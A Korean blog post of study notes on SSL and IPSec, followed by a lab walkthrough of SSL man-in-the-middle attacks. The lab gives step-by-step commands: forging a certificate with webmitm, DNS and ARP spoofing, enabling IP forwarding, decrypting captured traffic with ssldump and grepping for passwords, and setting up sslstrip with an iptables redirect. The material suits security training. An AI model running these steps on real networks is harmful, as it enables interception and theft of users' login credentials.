SSL MITM
SSL(Secure Socket Layer)
- Netscape사에서 웹 서버와 브라우저 간의 보안 통신을 위해 만든 암호화 Protocol이다.
- 웹 서버와 브라우저에서 사용하는 암호화 Protocol이다.
- 전자상거래 사이트에 접속하여 물건을 구매하거나, 신용카드 정보 등을 보낼 때 사용된다.
- 브라우저만 있으면 사용이 가능하다
- 암호화/복호화는 웹 페이지에 내장된 SSL 모듈을 통해 일어난다.
─> https : 세션 전체가 암호화된다.
─> Symmetric Cryptography 사용
IPSec
- 기존의 IP 프로토콜에 인증과 암호화 기능을 추가한 것이다.
- OSI 7 Layer 중 3계층(Network Layer)에서 동작하기 때문에 IP를 통해 전송되는 모든 트래픽을 암호화
- 서로 다른 네트워크 대역을 마치 로컬 대역처럼 접근할 수 있도록 하기 위해 암복호화 장치가 필요하다.
- IPSec 장비 사이에서만 데이터가 암호화/복호화 됨으로 실제 내부에서의 데이터 보안성은 장담 할 수 없다.
- 커널은 수정해야 하기 때문에 설치가 복잡하고 플랫폼 별로 호환이 잘되지 않는다.
SSL 동작 과정
- [브라우저] 보안페이지 요청한다. (http://)
- [웹 서버] 자신의 공개키를 인증서와 함께 브라우저에게 보낸다.
- [브라우저] 웹 서버가 보낸 인증서를 확인한다.
┌ trusted root CA에 서명되었는가?
│ 인증서 날짜가 아직 유용한가?
└ 접속하려는 사이트가 연관 있는 인증서인가?
- [브라우저] 인증서가 확인되면 Session키를 생성하여 웹 서버의 공개키로 암호화 한 후 송신한다.
└ 이 때 보내는 URL이나 HTTP 데이터는 Session 키로 암호화 되어있다.
- [웹 서버] 개인키를 이용하여 Session 키를 풀고, Session키를 이용하여 URL이나 HTTP 데이터들의 암호를 푼다.
- [웹 서버] HTTP Request 처리 결과를 대칭키를 이용하여 암호화 한 후 전송한다.
- [웹 브라우저] 대칭키를 이용하여 HTTP Response 데이터를 풀고 브라우저에 출력한다.
SSL Handshaking
SSL MITM
◈ SSL MITM 공격원리
- Symmetric Crytography를 사용함으로 키 동기화 과정이 필요하다.
- 키 동기화는 Key Wrapping 방식을 사용한다.
- 공개키를 인증하기 위해 인증서를 사용한다.
SSL MITM 개념도
Remote SSL MITM 개념도
SSL MITM 실습
◈ 사용 기법
- Webmitm
┌ 가짜 인증서를 생성한다.
│ Proxy type의 MITM 툴로 80번 port를 리스닝한다.
│ HTTP의 Header를 확인 후 패킷을 Relay시킨다.
└ #webmitm -d
- DNS Spoofing
- ARP Cache Poisoning
- Packet Sniffing
└ tethereal : ethereal의 TUI버전
- ssldump
┌ ssldump -a -d -k webmitm.crt -r capture
└ webmitm.crt의 Key를 이용하여 캡쳐 된 패킷을 복호화 한다.
◈ webmitm을 이용하여 가짜인증서를 생성한다.
└ webmitm -d
┌ 인증서에 입력할 내용을 모두 공백으로 채운다.
└ 인증서가 생성되면 자동으로 80, 443번 port를 리스닝한다.
◈ 리스닝 중인 port를 확인한다.
◈ IP Forwarding
- fragrouter -B1
◈ dnsspoofing
- dnsspoof가 사용할 host목록 파일을 작성한다.
Ex) 10.10.10.10 www.google.co.kr
- dnsspoof를 실행한다.
Ex) dnsspoof -f hosts.dnsspoof
◈ 게이트웨이를 공격자의 MAC 주소로 ARP Spoofing한다.
Ex) arpspoof 10.10.10.20
◈ ethereal을 띄어 패킷을 수집한다.(packet을 보는 program)
- ethereal -w capture
◈ windows에서 www.google.co.kr 사이트에 접속한다.
└ 혹시 안되면 ssl 캐시를 지운다.
◈ 로그인을 누르면 인증서 창이 뜬다.
◈ 확인을 누르고 ID와 Password를 입력한다.
◈ 정상적으로 로그인 되었다.
◈ 이제 다시 whoppix로 돌아와서 ethereal을 종료한다.
◈ ssldump를 이용해 패킷을 복호화 한 후 Password 부분을 찾는다.
- ssldump -d -k webmitm.crt -r capture | grep Passwd
◈ ID와 Password를 확인할 수 있다.
SSL MITM Attack
1) sslstrip download
- http://www.thoughtcrime.org/software/sslstrip/index.html
2) sslstrip 설치
- BackTrack에서 sslstrip 압축을 풀고 설치
┌ tar zxvf sslstrip-0.9.tar.gz
└ python setup.py install
3) ARP Spoof를 사용하여 Victim Packet을 공격자에게 우회
┌ arpspoof -i eth0 -t 10.10.10.10 10.10.10.254
└ arpspoof -i eth0 -t 10.10.10.254 10.10.10.10
4) Fragrouter를 이용한 Normal Routing 또는 IP Fowarding을 사용하여 Packet Forwarding을 활성화
- fragrouter -B1
or
echo "1" > /proc/sys/net/ipv4/ip_forward
5) Packet Redirect
- 공격자 PC에서 80번으로 들어오는 패킷을 sslstrip에서 Listening하고 있는 10000번 포트로 redirect한다.
└ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
6) sslstrip 실행
- python sslstrip.py -w test.log
7) XP Client에서 SSL을 사용하는 http 사이트에 로그인 한 후 BackTrack에 기록된 test.log를 확인
'IT Infra. > Server' 카테고리의 다른 글
SSL 연결 부하를 줄여 주는 기능 - SSL Offloading (0) | 2017.02.14 |
---|---|
CentOS xrdp 설정 (원격데스크탑) (0) | 2017.02.12 |
Was Server와 Web Server차이 (0) | 2014.10.19 |
윈도우즈 파일시스템의 진화 (0) | 2014.09.16 |
How Remote Call Control Powers OCS 2007 R2 (0) | 2014.09.11 |